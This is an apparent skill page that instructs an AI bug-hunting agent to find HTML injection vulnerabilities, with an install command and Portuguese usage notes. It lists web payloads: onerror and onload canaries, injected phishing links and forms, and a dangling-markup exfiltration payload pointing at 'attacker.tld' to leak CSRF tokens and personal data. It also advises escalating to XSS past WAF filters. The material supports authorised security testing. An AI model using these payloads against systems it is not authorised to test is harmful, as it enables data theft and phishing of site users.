elementalsouls/claude-bughunter

hunt-html-injection

Hunt HTML Injection — user-supplied input is rendered as raw HTML in the response without sanitisation, allowing an attacker to inject arbitrary HTML tags (but not necessarily JavaScript).

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Como usar

  1. Copie o comando e verifique o pacote antes de instalar no seu ambiente de agente.
  2. Consulte no original as ferramentas, credenciais e ambientes necessários.
  3. Descreva os dados de entrada e a entrega esperada; confira a saída com as fontes.
npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-html-injection

Antes de começar

  • A instalação não inclui assinatura de modelo, franquia API ou acesso aos seus arquivos.
  • Estrelas e instalações indicam atividade, não um teste independente de qualidade ou segurança.
Documento original do Skill

Renderizado do repositório de origem, preservando títulos, exemplos, código, tabelas, links e imagens.

What is HTML Injection

HTML Injection occurs when user input is inserted into a page's HTML without escaping, so injected tags are rendered by the browser as markup rather than displayed as literal text. Unlike XSS, the injected content does not require JavaScript execution — injecting <b>, <h1>, <a>, <img>, or <form> tags is sufficient.

To PROVE impact unambiguously, escalate to an active vector carrying a unique numeric canary — e.g. "><img src=x onerror=alert(91234)> or <svg onload=alert(91234)>. A distinctive 4+ digit number (not alert(1)) distinguishes YOUR reflected injection from the example payloads practice pages embed in their own hint text. Proof = the raw, unescaped vector with your canary appears in the response.

Impact:

  • Phishing via injected <form> or <a href="attacker.com"> tags
  • UI defacement — <h1>HACKED</h1> renders visually on the page
  • Credential harvesting via injected login forms
  • Redirect via <meta http-equiv="refresh">
  • Stepping stone to XSS (may be blocked by WAF on <script> but not <img onerror>)
  • Dangling-markup exfiltration — even with <script> and event handlers filtered, an unterminated tag can capture page content that follows it. Inject <img src='//attacker.tld/log?html= (no closing quote/>); the browser treats everything up to the next ' as the URL, leaking any CSRF token, secret, or PII rendered after your injection point to your server. Works where full XSS is blocked but raw < is reflected.
  • Email/notification-context injection — a field reflected unescaped into a transactional email (signup confirmation, admin alert, support-chat transcript) renders injected <a>/<img>/dangling markup in the recipient's inbox — an audience the web UI can't reach, and often the only place HTML is rendered unfiltered. Inject into name/subject/comment, then read the raw email source. Disclosed class: <https://hackerone.com/reports/1935628>, <https://hackerone.com/reports/3556892>.

Attack Surface

Any input that is reflected or stored and then displayed in an HTML context:

  • Search boxes (?q=)
  • Comments, feedback, reviews
  • Profile fields (name, bio, username)
  • Error messages (?error=, ?message=)
  • Subject / body of contact forms
  • Admin-visible fields (ticket titles, usernames in logs)

Autonomous Testing Priority

Inject a recognisable HTML tag with a unique canary string. Unescaped angle brackets in the response = confirmed injection.

Pattern 1 — Basic HTML tag injection:

<b>CANARY</b>
"><b>CANARY</b>

Use a unique string as CANARY (something distinct to this test run). Proof: the response contains <b>CANARY with literal < angle brackets — not &lt;b&gt;CANARY. A properly encoded app would escape < to &lt;.

Try multiple tag types when `<b>` is filtered:

  • <h1>CANARY</h1> — heading tag (often less filtered)
  • <img src=x onerror=CANARY> — attribute context
  • <a href="https://attacker.com">click</a> — link injection (phishing proof)

For stored injection: inject into the storage endpoint, then GET the page where the value is displayed and check for unescaped tags.

Escalate immediately: if <b> injection works, try <script>alert(1)</script> — the same unsanitised input may allow full XSS.

Proof

Confirmed when your injected tag appears in the response body with literal < angle brackets (not HTML-encoded). A safe app renders &lt;b&gt;CANARY&lt;/b&gt;; a vulnerable app renders <b>CANARY</b>.

Distinguishing HTML Injection from XSS

  • HTML injection: <b>text</b> renders as text in the browser — no JS execution needed.
  • XSS: <script>alert(1)</script> executes JavaScript.

Some WAFs block <script> but pass <b> or <img> — start with non-script tags, then escalate.

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